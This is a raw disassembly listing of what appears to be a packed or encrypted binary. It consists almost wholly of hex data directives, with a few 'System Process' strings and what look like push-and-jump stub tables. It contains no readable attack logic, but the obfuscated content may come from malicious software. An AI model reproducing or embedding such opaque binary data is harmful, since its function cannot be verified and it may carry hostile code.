		dd 20BF665Eh, 53C6811Eh, 8A000063h, 0C115B8D3h,	0F081077Eh
		dd 77ED9A6h, 0F33D21BBh, 8B36FF65h, 0CE959D0h, 0D000000h
		dd 97312284h, 87A43C23h, 818224C2h, 0F9AE6BF1h,	0DA81664Eh
		dd 0F181B549h, 2F753DA7h, 91D9E781h, 0F1815499h, 2949E927h
		dd 0E89D08Bh, 8DB3BB66h, 6601EE83h, 4E64E0BBh, 8F0F4E4Eh
		dd 5, 6FA606BFh, 1E88353h, 0FFA7850Fh, 0E680FFFFh, 34E91Ah
		dd 0E8A00000h, 339C63F3h, 77E7h, 0Ah dup(0)
		dd 0FFE90000h, 6800000Ch, 62EBD56h, 0FAC1F3E9h,	0BE9E68FFh
		dd 0E9E9062Eh, 68FFFAC1h, 62EBFDEh, 0FAC1DFE9h,	0C0F368FFh
		dd 0D5E9062Eh, 68FFFAC1h, 62EC25Bh, 0FAC1CBE9h,	0C48068FFh
		dd 0C1E9062Eh, 68FFFAC1h, 62EC608h, 0FAC1B7E9h,	0C6EB68FFh
		dd 0ADE9062Eh, 2BFFFAC1h, 0F91FDF2Ch, 44A29061h, 0EE86AE1h
		dd 0D43220D3h, 2B7BFB76h, 18C62AFh, 0DC512BCDh,	941FF81Eh
		dd 6DE440A6h, 3E644DE9h, 7A3E33BDh, 0C4E20924h,	3011E960h
		dd 280C8760h, 185EF24Ah, 62286B04h, 5E757BEh, 42C9A294h
		dd 5046AFE4h, 806C23DFh, 157E59CAh, 44F325E1h, 3D93657Ah
		dd 8F02E4B0h, 568CE83Bh, 964AE240h, 82B1C94Eh, 371CEA35h
		dd 99E61AECh, 5586956Ah, 0FDE76FB7h, 3574B467h,	3Ch, 52454B3Eh
		dd 0D38AD83h, 0A93601EFh, 0FFCD946Bh, 0FDD6901Dh, 35E44692h
		dd 2D71A58Eh, 5A7A4580h, 401071C9h, 0B2916998h,	80D52266h
		dd 73198695h, 55C92BABh, 0FB6174B4h, 0CA000000h, 8009ED4Bh
		dd 0B7A7ED26h, 4A48B2AAh, 60C49AFEh, 23858364h,	0A08BD8AEh
		dd 322F8DC6h, 0C32A79C1h, 4EC3A167h, 95E61C65h,	8B806C41h
		dd 6C422C8Fh, 568A9580h, 451BEFCDh, 389E68E1h, 76FD585Ch
		dd 230853B0h, 72ADC7FDh, 450BA02h, 0C50684C0h, 3591806Ch
		dd 80E57BCh, 806CCDA7h,	332B0112h, 0EF871D5h, 37B8FEC7h
		dd 0A2806CCEh, 58C19BF1h, 2A8C8AD3h, 957A459Fh,	0EFAA488Ah
		dd 1E3B7F44h, 43807154h, 4F2D8BD0h, 8660ED4Fh, 16F0624Dh
		dd 78FB3FB0h, 618CC1A9h, 0FB56D73Eh, 0A8AD5B53h, 0A775D62h
		dd 45920000h, 0F66284B6h, 5431D707h, 60F91FDFh,	0E745A393h
		dd 20B8E86Ah, 42F07DD3h, 8F4FC2A4h, 0D1058E69h,	1CDE5737h
		dd 4AADE9B8h, 0B77A3E32h, 624B179Eh, 6CEEC334h,	17652E80h
		dd 9C5ED3B1h, 0C63723F5h, 77D52360h, 0B5DC1E97h, 0EEC5366Ch
		dd 632C806Ch, 59C0DA15h, 598D89D2h, 67A45EFh, 0BC917338h
		dd 9504CAAh, 78F3542Ch,	5BB1389Ch, 0C55BE97h, 963AA516h
		dd 17030C86h, 86963AA4h, 0F236020Dh, 86963A85h,	7036C51Ch
		dd 0F6B0439Eh, 0CB7FA7A5h, 88A9C38h, 74B39BE8h,	0E202h
		dd 0B2E0C900h, 86962F41h, 5E91E7A8h, 8CE960C4h,	0EEFC7FBBh
		dd 0BAE5806Ch, 5634EA5Eh, 7B0B6FDBh, 24806CEAh,	6CCFCB40h
		dd 55806CF3h, 969AE3CAh, 66C0B2DFh, 0C8341FEBh,	2F0DC6E7h
		dd 0E46DC92Fh, 9775C302h, 0C898161Ah, 6AB2DC2Bh, 46EDAC0Eh
		dd 4DBE9B7Dh, 9E10066Fh, 97A461Bh, 6336D406h, 0BB8DF3D8h
		dd 9322667Bh, 7459F695h, 0FAB87808h, 0C19A46B6h, 4692FD40h
		dd 0E65B2B6Fh, 624B8071h, 0C232C334h, 17652E8Ch, 9B7D46C9h
		dd 0A8636DC5h, 0F90FE6AEh, 0F1D2941Dh, 698F4F96h, 0B2E5068Bh
		dd 1AD5AE0h, 92F3A8Dh, 0FD5A0000h, 2E2ACC0Eh, 1CF91FDFh
		dd 9841A797h, 0AF0DEB6Bh, 68603022h, 8A48C59Bh,	0D7078A6Ch
		dd 19DD5631h, 0A4961FFFh, 275A100h, 0EF7A3E31h,	66C4AFD6h
		dd 298D6BEBh, 0C439B2A0h, 0BF11E960h, 6E456DFh,	0D7C32893h
		dd 7A45D44Fh, 86E92D70h, 0B869608h, 194A3CB1h, 147158CBh
		dd 864D7C3h, 4F4D8696h,	32066192h, 8CC2A4Eh, 0B51E8696h
		dd 24820BE3h, 0B36B89EFh, 6E9FBB1Dh, 3E6D4B98h,	74B3C9B6h
		dd 5D74Ch, 59C0F900h, 4D2F89D2h, 0CF2D66C0h, 0EB92B0E6h
		dd 0B9827A45h, 95F3FA7Dh, 5331E786h, 0D03B68DEh, 75355E84h
		dd 95F3C231h, 73825F86h, 95F3B407h, 2B721D86h, 9061F95Fh
		dd 9F87C5D6h, 0F38AED29h, 2C778695h, 80A622C5h,	0B3DEEEF6h
		dd 5860474h, 0C0210000h, 8D89D259h, 7A45C141h, 0E105E5AEh
		dd 86961C92h, 0EE68BE5Ah, 74B3B606h, 5673Ch, 13B90900h
		dd 0E9327920h, 45D6A5ADh, 0D1190A7Ah, 0AAE3C59Dh, 0B803960Ah
		dd 0ECF2753h, 0AFF00C84h, 139801DBh, 21A1CCCAh,	0EE3712ADh
		dd 0FD9647A8h, 8BE1B21Eh, 1FF9C24Dh, 0E20436BFh, 9362830Ah
		dd 901B1F67h, 7EFB51Ah,	3D1A0000h, 6EEA0CCEh, 0DCB95F9Fh
		dd 0D801E757h, 6FCD2B2Bh, 0A82070E2h, 0CA08855Bh, 17C74A2Ch
		dd 599D16F1h, 0E456DFBFh, 0C2356140h, 2F7A3E2Fh, 0ED4BEF16h
		dd 6E20860Bh, 61A2048Fh, 0F85C3206h, 46D38971h,	3F6290FDh
		dd 627A4B36h, 0EA793D31h, 7A869BAAh, 4024FC25h,	0A90DE3C9h
		dd 42D03220h, 3B02F168h, 0AB5BA4D2h, 0F846869Bh, 1FBEFA79h
		dd 44220D18h, 0B3A32A82h, 9BE998F7h, 2DA60186h,	6F4CD8C0h
		dd 18228A9Bh, 0AF671814h, 0A4F04972h, 0E2E646A0h, 0ED26800Bh
		dd 73C02482h, 8437CAD4h, 835B6CB2h, 0D1A95A87h,	4DABABF2h
		dd 0BD1B60E9h, 0B77B51DAh, 9B250473h, 0C120686h, 68EA633Bh
		dd 1267Fh, 60C4F400h, 0DCBF11E9h, 7FBCEC72h, 0A775D3CDh
		dd 92F149BAh, 38BBFF4Bh, 0D9806CA2h, 129F797Dh,	0CF147F54h
		dd 36028F69h, 8F118842h, 1C8E974Bh, 0B29BE2D6h,	4AEF2144h
		dd 5E1B77Ah, 82643A8Ch,	168BB0Fh, 0C1622D2Bh, 0B38199EAh
		dd 0DAE2F539h, 37000006h, 0FD1BDB28h, 40A69465h, 0AEC6EE5h
		dd 0D83E3CCFh, 1747F77Ah, 1D9076BBh, 0D05D3FD9h, 0A8238462h
		dd 61E84CAAh, 3A7849EDh, 7A3E2EB9h, 4BE60D20h, 0AC0E08EDh
		dd 230A5921h, 4A280C47h, 0C98F7BF2h, 0ED82C36Bh, 0B773F85Dh
		dd 0CFC9505Ch, 34D2006Bh, 0FC1AD853h, 345D9118h, 2E3CF9C4h
		dd 12F07D0Fh, 91F82B9Fh, 8A07E5BBh, 9845A3Ch, 7BF6542Ch
		dd 355EAD1Dh, 1045B6ECh, 0E3AC806Ch, 96AF7795h,	0D0B9BD30h
		dd 10288B8Fh, 0BE9806Ch, 0F3D94A86h, 0DDC644ACh, 7FE7Ah
		dd 35770000h, 6Fh, 0E960C4BAh, 0DE9E1D11h, 0B7E0806Ch
		dd 0FEC7286Eh, 6132806Ch, 1031F50Bh, 0DF393DB4h, 0FF33F77Ch
		dd 806CFE7Fh, 1E27FF1Dh, 0BED36BDh, 1B483ECFh, 0C4B2393Dh
		dd 0B81EE863h, 260F54DFh, 0C1F67EFAh, 8981CD7Dh, 806CA026h
		dd 0C4B48093h, 3B8D91B7h, 2177845Dh, 0F363E843h, 6C97DBB7h
		dd 0BEA3180h, 277ADD2Ah, 0FFFFFEA6h, 2FA350Ch, 0C4BA0000h
		dd 1D11E960h, 806CEEAEh, 0A119926Bh, 26800DEFh,	1BAF77D5h
		dd 4E77AFADh, 9EF767EEh, 1EE8633Ah, 0A501E735h,	9371C72Ch
		dd 1D7BA81Eh, 389C64ADh, 0E8275BB1h, 0B1806CEEh, 30EA5CD5h
		dd 1FF9C269h, 89E430BDh, 4B36588Dh, 1516797Ah, 0B3815324h
		dd 72349B0Fh, 9F000005h, 6583B340h, 28CE0CFDh, 0F214C64Dh
		dd 40A69467h, 0BFEF6FE2h, 0F578DE23h, 48C5A741h, 8B6C8Ah
		dd 0D95034D2h, 0A2D0B115h, 7A3E2D51h, 0C41EA5B8h, 0BF11E960h
		dd 8FE654D9h, 64C24F29h, 936BC92Fh, 583ED81Ah, 0DDB315D5h
		dd 0F4220B50h, 806CEE83h, 63D7256Eh, 0D9EA3C18h, 1344F67Bh
		dd 7ADCE3D1h, 23B69h, 52C0C200h, 481115D5h, 5C328B70h
		dd 4EC3A177h, 0FE52D46Ah, 0E440401Ah, 0E136026Dh, 7BEDE4FFh
		dd 720CD5A3h, 7EC8139Ah, 0D76C715h, 0FF000002h,	88D552C0h
		dd 605FBF80h, 48C8BA77h, 0C666AA8Ah, 3D1064FBh,	27AA0CD4h
		dd 0F4340043h, 806C8983h, 45CCA86Eh, 74CAAEE5h,	0D4289EF9h
		dd 328B0B0Dh, 886E6ECCh, 224C3A05h, 4B230FF0h, 0BB1DFB9Ah
		dd 888E7036h, 0B4012096h, 6F683844h, 3D1B079Bh,	0E7B1071Fh
		dd 79AE8A7Bh, 7BEE2C77h, 401E52Bh, 0E70073A7h, 0A6E97F5Bh
		dd 9F0FD47Ah, 0E6AB53Eh, 197BFh, 52C0B400h, 358A88D5h
		dd 63806CEFh, 0EE9B1C1Ah, 1D06806Ch, 887E213Fh,	8B70AD74h
		dd 0CB53F932h, 0EDE4A94Bh, 16E417Bh, 0C0EA0000h, 8A88D552h
		dd 806CEF31h
		dd 0FF33F798h, 328B7026h, 0B244DA7Eh, 7BEDE432h, 14FC8h
		dd 60C46500h, 0DFBF11E9h, 9306E456h, 0FBD7C328h, 0E47A45BDh
		dd 4CABCFBBh, 8086961Fh, 50902204h, 0EA74B3B3h,	44h, 0F875D7A1h
		dd 9577C50Eh, 1765AE18h, 0D259C0DCh, 0EF598D89h, 1D067A45h
		dd 0C876030h, 0D7245828h, 178695EFh, 8B02DABEh,	6280D43Fh
		dd 0E6BA3ABCh, 8E874B3h, 60D523AEh, 0B8h, 67EC492Fh, 0FB744083h
		dd 37BF454Bh, 0FA6A6CEAh, 0F05C389Eh, 0F8D4556Bh, 3A036A7Ch
		dd 2650F85Eh, 0DDC3950h, 0A111674Eh, 228409EFh,	38B115E3h
		dd 179E7EDCh, 1D19FD53h, 69ED34C5h, 6C979D2Dh, 0A6A27A80h
		dd 92F149C4h, 0B0698B4Bh, 8CF4220Bh, 7B7A47F8h,	9775C328h
		dd 8467311Ah, 0C68BB0Fh, 0C5482EC8h, 84B43720h,	11A66CB3h
		dd 34Dh, 0EE6C9F44h, 2D21D008h,	75F972CBh, 81B54693h, 0CE0C8167h
		dd 1FFD429Eh, 0E446A092h, 0A803E569h, 71D53323h, 0F7DE7AF8h
		dd 3E2B3083h, 7184997Ah, 6BEB66C4h, 74A2298Dh, 806CEF03h
		dd 0A67FA5EEh, 27551124h, 0C74C8EE9h, 11E960C4h, 0D56DFBFh
		dd 0E3533003h, 34002BF2h, 3A067430h, 495806Ch, 1A2056BFh
		dd 0FD7A4532h, 0C7C9A092h, 9DC7D81h, 0BA3D799Dh, 2786956Ah
		dd 0CC7157Ch, 11E960C4h, 0D846030h, 0AC0256BDh,	0E48D41C8h
		dd 4D3892B4h, 0C68C402h, 7F44EFAAh, 6C5EEA16h, 2296FFC1h
		dd 6574B9C3h, 4094FF41h, 44E88640h, 0F62C717Ah,	86954985h
		dd 6ED8236Ch, 9549AD0Ah, 839B2186h, 0B488F1F3h,	390974h
		dd 0C0220000h, 8D89D259h, 7A45EF59h, 96AA8F1h, 0F08695F0h
		dd 809349AFh, 0D009EF26h, 80E4723h, 8695EFA7h, 0D2260112h
		dd 95EF61DEh, 37EF6D86h, 0B3E635BFh, 0CECD74h, 4B660000h
		dd 97830AEDh, 806CEF24h, 0CFBB828Dh, 4224AD09h,	7CD22601h
		dd 6C341198h, 433705F4h, 22872F8Dh, 0EFC1579h, 62361F66h
		dd 61A204F7h, 5E1A70Bh,	80643A8Ch, 181C509h, 9E806CDBh
		dd 8A6EB73Eh, 99CABC4Fh, 0F95DBBB3h, 45D4B670h,	716195FEh
		dd 167A45D8h, 6E2BC90Dh, 4E97F8C5h, 95F1E748h, 6B41D286h
		dd 7148CF37h, 66F3080h,	7451DCB2h, 6B41C8ACh, 3AB715F3h
		dd 5B602409h, 349B0FADh, 1C5h, 76E417CCh, 0B5B94890h, 0FD71FA53h
		dd 9CD3E1Bh, 568409EFh,	0A705CA06h, 6CCE282Ah, 308B6DE1h
		dd 0F95DBBBBh, 0F66C270h, 3E28A80Bh, 0C97C117Ah, 0C334624Bh
		dd 56806CEEh, 588B7FF6h, 0DFBD9B84h, 0A046F479h, 2894DC4h
		dd 89D259C0h, 45EF598Dh, 0AD1D067Ah, 95EFEA49h,	5CD1B786h
		dd 0D95034EAh, 0EB330561h, 0EE30D457h, 0B3E67C64h, 0B4B674h
		dd 0C4BF0000h, 0BF11E960h, 0B39254D9h, 0EECB2C6Ah, 6D36806Ch
		dd 0EA7B0B0Fh, 4024806Ch, 946C05C9h, 84CFBB36h,	68DE5530h
		dd 9F7FDD3Bh, 8B08D033h, 84CFBB30h, 304E198h, 0D8C4E38h
		dd 39595DA6h, 0A97A46DDh, 3E76CCFh, 256EF4C0h, 0FD46D331h
		dd 517F6290h, 54228072h, 0A3D4666Bh, 55BE9909h,	0B2A02D83h
		dd 0CA7BF654h, 0AD5A38D9h, 0E283D4DAh, 2F000000h, 0F513C330h
		dd 0B85E9C6Dh, 2E456DDh, 0D03624D7h, 2F7FFF72h,	5886EB3h
		dd 0D85537D1h, 901BFC1Ah, 69E044A2h, 326041E5h,	7A3E28C1h
		dd 0C4EE1528h, 8D6BEB66h, 0DBB2A029h, 0EF3384F2h, 0F59E806Ch
		dd 60C4ACA7h, 0EF3011E9h, 6CEF48ABh, 8AEEB180h,	0FCD95034h
		dd 7530EA8Ch, 0D93F68AFh, 911AFF1Dh, 3C8744B4h,	2B27C9C0h
		dd 63B2E0CDh, 0E7A4AADh, 0BE3A505h, 5F395082h, 5A897182h
		dd 0B53C987Eh, 25FB1F5h, 9E3CA1E8h, 56DFBF88h, 23AA02E4h
		dd 0D3AA0E47h, 57A5EE58h, 0B01668F1h, 2914D23Dh, 0FF59EF37h
		dd 0CC3F1A1Ch, 78CE297Ah, 64954D2Bh, 53DAB210h,	2AA105E3h
		dd 78428BECh, 0B8A076ECh, 0A3076E49h, 181Ch, 0C5A17700h
		dd 43A9FA4Ch, 82563F80h, 7F488729h, 336033BBh, 0E7351EE8h
		dd 0EC1FC46Ch, 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h
		dd 50DDB315h, 0DA293096h, 58D3AA6Ch, 0C13028EEh, 89523A79h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2424895Ch, 4240481h
		dd 68000000h, 4511h, 50242C89h,	405E089h, 83000000h, 48704E8h
		dd 4895C24h, 69685324h,	8B192467h, 0C481241Ch, 4, 0DC86F381h
		dd 0DD891F0Ah, 6161685Bh, 24890000h, 24048124h,	4, 4EC8158h
		dd 89000000h, 3481242Ch, 8F612724h, 8408F70h, 27087081h
		dd 8B708F61h, 89502404h, 405E0h, 0C0830000h, 24048704h
		dd 242C8B5Ch, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0FAB507E9h
		dd 7A3667FFh, 0BF7A1469h, 0F2B8EA22h, 3062EC7h,	0EBE0FFC5h
		dd 0A45D2ED3h, 44606FBEh, 806E24E1h, 0E9537E05h, 2C706950h
		dd 2C4C9778h, 1633911h,	0E936553Ch, 17Ah, 232A5257h, 879E68FCh
		dd 4F624C92h, 8BF58B0h,	51B456BBh, 8B756B8h, 51BC58B3h
		dd 3897718Fh, 51C52486h, 0D33E7008h, 9F3AC46Ch,	5082B69Ch
		dd 51F31407h, 128h, 0
		dd 4, 2	dup(0)
		dd 2Fh,	0
		dd 8, 0
aSystem_0	db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 43h dup(0)
		dd 15E90000h, 68000016h, 62ECBFBh, 0FB7FB6E9h, 0CCFA68FFh
		dd 0ACE9062Eh, 68FFFB7Fh, 62ECDDDh, 0FB7FA2E9h,	0CEB368FFh
		dd 98E9062Eh, 68FFFB7Fh, 62ED03Fh, 0FB7F8EE9h, 0D1A368FFh
		dd 84E9062Eh, 68FFFB7Fh, 62ED249h, 0FB7F7AE9h, 0D2FB68FFh
		dd 70E9062Eh, 68FFFB7Fh, 62ED508h, 0FB7F66E9h, 0D61868FFh
		dd 5CE9062Eh, 68FFFB7Fh, 62ED6C5h, 0FB7F52E9h, 0D77768FFh
		dd 48E9062Eh, 68FFFB7Fh, 62ED8D6h, 0FB7F3EE9h, 0DE0568FFh
		dd 34E9062Eh, 68FFFB7Fh, 62EDF01h, 0FB7F2AE9h, 3680D2FFh
		dd 7E4899A0h, 41134168h, 8BD70415h, 0CF9FCEDFh,	9CC5B9Bh
		dd 0CDDC8ADCh, 0F39AC89Ah, 0B4451163h, 16085E24h, 0BA93F50Dh
		dd 0F95A3386h, 2CC347A2h, 1C78826Dh, 22792ED9h,	0D0DCD172h
		dd 0D0F5C8DDh, 0D1AA3280h, 8DD79BCCh, 0A4482ABEh, 593ABE22h
		dd 450F4162h, 0F21A4D5Eh, 0B4DF7CDCh, 0F1524339h, 0D12476E0h
		dd 0D914BA89h, 10B52CC2h, 0EB283F9Ch, 1083E1F1h, 54AF3FDEh
		dd 393117F1h, 9BE2B7BCh, 8AE35BB6h, 42485C1Dh, 2Dh, 7E449429h
		dd 0DAA98B27h, 0A7743FDDh, 0E769A55Ch, 0B0019184h, 5F3F9C84h
		dd 2E0A26BEh, 43FDE86h,	178D2CDh, 0FB485CDDh, 0A2h, 0D79D3340h
		dd 0ED6DF88Dh, 52492A7Ch, 7B8F9F7h, 764D9155h, 4B194F5Eh
		dd 96DC0C11h, 568F34C0h, 0F86839B5h, 0BB2D3CAAh, 688F3E9h
		dd 3F1EB0EBh, 8E3F9C8Eh, 64EA590Dh, 0B91A6CF9h,	3A4E4C62h
		dd 405545C7h, 4D1D485Dh, 36A93A19h, 5EA5686Ch, 788EE00Dh
		dd 31A49681h, 0B134597Bh, 0C8000013h, 0F39AC89Ah, 0BF4E145Eh
		dd 620B5F2Dh, 2435A1F1h, 45FDE9B9h, 0A4F667A2h,	0EAB82F3Eh
		dd 2F81EDFCh, 743E92BBh, 0DBF7286Eh, 3386BA79h,	336C1744h
		dd 0B182D0A2h, 84E84866h, 0E63739B5h, 0C89ACE9Fh, 0E769599Ah
		dd 0B0019184h, 9F3F9C84h, 0B48FDF0Eh, 4C64789Dh, 3FDE85F0h
		dd 3A948FDAh, 485CDCC3h, 0DD39h, 0FB176E00h, 3FDE7999h
		dd 526CB764h, 3FDE79F2h, 6AE5D83Dh, 8DD79D33h, 471D6DF8h
		dd 0B58104ABh, 3183D539h, 7E4494A5h, 78731D66h,	0A739CA25h
		dd 175B8CDDh, 0B8B3922Ch, 697A3F9Ch, 0D5C8A9FBh, 8AD2A030h
		dd 9EFE100Bh, 613FDEBAh, 327149ACh, 65C7DB8Ch, 0A83FDEBBh
		dd 38938A6Bh, 726A38ABh, 9B0658A3h, 0BA45C758h,	96EDB729h
		dd 0EC475EBFh, 0AED92699h, 0FC27723Fh, 0A3582E2h, 75484D46h
		dd 21B50550h, 5123B152h, 12B38A0Bh, 0A847F3C3h,	4C31A491h
		dd 12B22776h, 99C90000h, 5FF29BCFh, 2ABA4317h, 0F0630A58h
		dd 0B82534A2h, 0A740F0E6h, 37A3F362h, 0F5E1B126h, 0BA287AE4h
		dd 63773D93h, 7CDCF22Dh, 433386B8h, 0A2336B12h,	65FB82D0h
		dd 852B0DA5h, 21F239B5h, 0FB5426B0h, 9D3374EFh,	57B28DD7h
		dd 0A69209AEh, 1EAF96FFh, 0C3EAF8CAh, 8499C391h, 0B0170E54h
		dd 24070789h, 0A7037A02h, 942A85DCh, 39B4C4B4h,	64C49A7Bh
		dd 0AB39B4C5h, 9CE6796Ah, 0B0EED538h, 74771955h, 0DD5C9121h
		dd 0CACB3F9Bh, 0F0E6B67h, 7719D468h, 20912174h,	8F3D4F20h
		dd 63ED560Eh, 29BA1508h, 3C92E9BBh, 43759B8Eh, 984F9AF5h
		dd 0B454381Ah, 0C7066674h, 0C4C943BDh, 0C4D9306Bh, 3BDACD95h
		dd 0E516E5DFh, 0C010B588h, 87D6B648h, 0F41943BDh, 2ABE4F1Bh
		dd 0E347AA58h, 0FBD92F57h, 11CF9Ah, 2A7CEE00h, 6A3CADBCh
		dd 0ADFF6D7Ch, 0F7C31039h, 3B8BDAE3h, 15D037AFh, 0D9E0F6C8h
		dd 87963C86h, 48510557h, 7A1C4A18h, 0B7A78919h,	0E5763386h
		dd 0D79D335Eh, 491675CCh, 0EB438BF8h, 9305677Bh, 0CBC839B4h
		dd 0F19FD8F0h, 7EF88E48h, 0D2C399E9h, 29AAC1C7h, 27F6EEB8h
		dd 20BEE546h, 3F9C5C11h, 620B5FBCh, 7730A4EEh, 637FA6C9h
		dd 45C42415h, 270999F0h, 0F6460D25h, 9607DE25h,	98EA7E8Fh
		dd 17AD23CAh, 4E16F7C5h, 74E05BE5h, 0A03486D6h,	0E8338C6Dh
		dd 0F2EDAAD6h, 15088D4Bh, 441260F0h, 0B5123B5h,	92E99E20h
		dd 6405C8CBh, 0C4A43A68h, 0B4C3C36h, 0DCF2298Ah, 52235E01h
		dd 0D270E704h, 0A5B347Eh, 3CD18BDBh, 99AD6EF9h,	3DFFBB7Eh
		dd 0F9F5983Ah, 80000010h, 4B520052h, 77064C16h,	3AC397E5h
		dd 0FC8DD9A9h, 0DB52171h, 0DCAE3FFAh, 2270E7F6h, 6739A5B4h
		dd 0ACF66A73h, 0A33F6026h, 3386B6C1h, 3334CF0Ch, 0B182D0A2h
		dd 8FF6BC2Ch, 8C97DA64h, 9C897B72h, 3BA1723Fh, 0B856B62Ah
		dd 3FDE91D8h, 4115F627h, 25A28B8h, 7B479429h, 5969AC61h
		dd 3FDE91F7h, 87EED5C6h, 13AFF6F9h, 45C59A7Ah, 0E4445A35h
		dd 2B46079Ah, 3D5309EAh, 0EC7C3954h, 0CD7330A6h, 6E677BA2h
		dd 614BEE9Fh, 0A798F816h, 0B6674C30h, 9E7BCED5h, 1B438A42h
		dd 95A8007Bh, 5C6B7143h, 0BF53AA05h, 4C315EDDh,	8DEFF320h
		dd 504C315Eh, 0E6465843h, 294C315Eh, 55B091E4h,	0B759FF4Ah
		dd 9C2B74F7h, 76A171B9h, 0A49F9A27h, 65B8B35Dh,	78430F40h
		dd 49189121h, 6975218h,	0E2A40350h, 1C464CDEh, 0C8CD7EE8h
		dd 0B213441Bh, 9CE67A4Bh, 364C2838h, 8984525Ah,	9628838Eh
		dd 525A35B6h, 1CA19479h, 0C9D086CCh, 0F95B7797h, 0C4525A35h
		dd 0FFE5B727h, 0F8DCBD1Eh, 0B6811BFh, 15253553h, 4D65B819h
		dd 584127A8h, 6D3DAE3Fh, 88DE3F16h, 76186C8Ch, 34C9207Bh
		dd 0CBE7DEA4h, 5E68F075h, 0DD2873A0h, 7A13FF39h, 0B61D6095h
		dd 0EEF6C815h, 0C4A43A95h, 0B5EB259h, 411FB38Ah, 545EB25Ah
		dd 425C47AAh, 6498220Eh, 7C819479h, 287FA6ECh, 1F98292Eh
		dd 0A2047F83h, 657F459Bh, 0B1451540h, 507B8270h, 6D9BFAD8h
		dd 0C00000Fh, 3FCE94DEh, 0E38AD8AAh, 0A6B72371h, 68716535h
		dd 0B939ADFDh, 683AAB6Eh, 0B6FC537Ah, 0FBCD1920h, 388ADEEFh
		dd 17ABF4AAh, 3386B535h, 33A05BF8h, 0B182D0A2h,	0D606BC2Ch
		dd 5C3DD084h, 1DAE9578h, 0C2E3F9CBh, 890C48Eh, 23B5021Dh
		dd 70890551h, 6C4233DBh, 185h, 0D79D33F3h, 1A68F88Dh, 276FE203h
		dd 9D4958BDh, 111037AEh, 0D8AB3F06h, 0C3E03B36h, 7B9AC290h
		dd 4B9EE900h, 92E48B5Ch, 9F330A43h, 3F9C8C26h, 9C217499h
		dd 0B459034Fh, 8BEF5161h, 0DD3E3FDEh, 5632CEE6h, 7C3FDE8Ch
		dd 9CF7FA15h, 0DE8C2202h, 0D528ED3Fh, 5CC6F40Dh, 3AE848h
		dd 797F0000h, 53AAF864h, 504BA628h, 9C846FBEh, 677D9E3Fh
		dd 0DE84ED4Bh, 6032A23Fh, 0ACF6697Ch, 9AF59028h, 6DB8DB2Dh
		dd 8F668FCEh, 0D33C077Bh, 99E71EB8h, 0ADE5485Ch, 6A000000h
		dd 8DD79D33h, 471D6DF8h, 3E8CDFECh, 562077A6h, 7188F053h
		dd 68F8CD30h, 2DA3421Ah, 0C5207367h, 47D0C828h,	724CB723h
		dd 39B5804Dh, 35683AAEh, 8964C4DAh, 6AAB39B5h, 52FCB713h
		dd 892B0DA5h, 21F239B5h, 0DA455D40h, 0F13F9E30h, 312808A6h
		dd 26F73FE1h, 8C9704DFh, 8826EE7Fh, 3FE130A8h, 91C5A677h
		dd 0F90D5D88h, 2B7B8C32h, 9692CB6h, 9000000Eh, 5B627042h
		dd 716BC06h, 0CAD387D5h, 8C9DC999h, 1D451161h, 0CC9ECF0Ah
		dd 1260F786h, 5729B544h, 9CE67A03h, 0B34F5036h,	3386B3D1h
		dd 3304BF1Ch, 0FB82D0A2h, 84B1F65h, 8DD79D33h, 0EA068F8h
		dd 39B5852Eh, 17431CF1h, 0DC80D206h, 9B82ED93h,	9C8CE207h
		dd 3D60B53Fh, 726A38A8h, 8CA78919h, 0A5763FDEh,	8AE9F1C4h
		dd 0A23A2E3Fh, 0D00770E7h, 0F9DA2182h, 757h, 0D0A23342h
		dd 8498F48Ch, 18F39B5h,	5D1BB7EEh, 0D83F9B4Dh, 8DC3E03Bh
		dd 568A93C7h, 28B5480Ch, 0A975A056h, 0DDE72B7Eh
		dd 0D63B8h, 9EE87A00h, 0E6B021C8h, 297BE9F0h, 733FACBDh
		dd 0B7075667h, 9154B323h, 55647244h, 1B22B002h,	0DCEDF9CBh
		dd 0FE90C68Ch, 0B32B0DA5h, 61F23386h, 0D0A233DAh, 1F65FB82h
		dd 3315AD04h, 0FA39B585h, 0FB8A2219h, 25451F65h, 81222D68h
		dd 0B95C0052h, 0A5EF6142h, 0DB9CD531h, 1B504233h, 0A7000000h
		dd 0B58F6F3Eh, 0FBC71439h, 48532CE1h, 692DDFFDh, 91E4E402h
		dd 0FFFDD8BCh, 623EB9FFh, 7539B585h, 0B70350CBh, 140FE82Dh
		dd 9B4CB6FAh, 0EF7C813Fh, 0C8158A3h, 1E64F409h,	652FA148h
		dd 5287247Fh, 42B95C00h, 94A2F461h, 2B7EA9B3h, 0B19283D1h
		dd 0C800000Ch, 0F39AC89Ah, 0BF4E145Eh, 620B5F2Dh, 2435A1F1h
		dd 45FDE9B9h, 0A4F667A2h, 0EAB82F3Eh, 2F81EDFCh, 743E92BBh
		dd 0DBF7286Eh, 3386B379h, 336C1744h, 6093619Dh,	0D2D5ECBDh
		dd 65A6B71h, 858018BCh,	0F766878Ah, 0E5D83DA7h,	94C290C0h
		dd 33C00178h, 8ECF1A42h, 0B0902E39h, 7F39B584h,	0E4D88B9Eh
		dd 0D75EFD6h, 0FA000000h, 0B58F6F3Eh, 2A8BE439h, 70FFFFFDh
		dd 9184E769h, 9C9EFC01h, 130A8B3Fh, 9F4626B8h, 0B9493FDEh
		dd 3FDE9ED7h, 0AD6EF526h, 9EF85876h, 0D6C73FDEh, 603DD5EFh
		dd 4A3FDE9Fh, 0E8FD041Fh, 95A82C7Eh, 0AE6F7547h, 5838D6CDh
		dd 0A73FDE9Fh, 2A430F76h, 43485CDAh, 9776D6E8h,	54B93FDEh
		dd 1B8F761h, 3E7C0000h,	39B58532h, 0A93F2C2Fh, 6565C0DBh
		dd 4171CF69h, 657452A9h, 273BA1F3h, 39B63CE1h, 0A8ED2871h
		dd 377C6A38h, 6479638Ch, 1138AEF4h, 0D3EFF5BFh,	39B63E05h
		dd 318984CDh, 423479B8h, 17534h, 9D33BB00h, 0AA3FCCD7h
		dd 0C4F06A6Eh, 0D3AC8A74h, 1F63F489h, 586D47BEh, 4C164A08h
		dd 28CE7F3h, 0F3DBBD55h, 0F12239B4h, 0F43414AAh, 1AFB39B4h
		dd 154162B9h, 0D6217843h, 0F401637Fh, 75CC39B4h, 0B4F3FB5Dh
		dd 70D1C239h, 243CB50Dh, 62B33F9Ch, 519C217Ah, 55DA1601h
		dd 0D521BD64h, 0E574D0EEh, 735E3FDDh, 69F40918h, 4B524319h
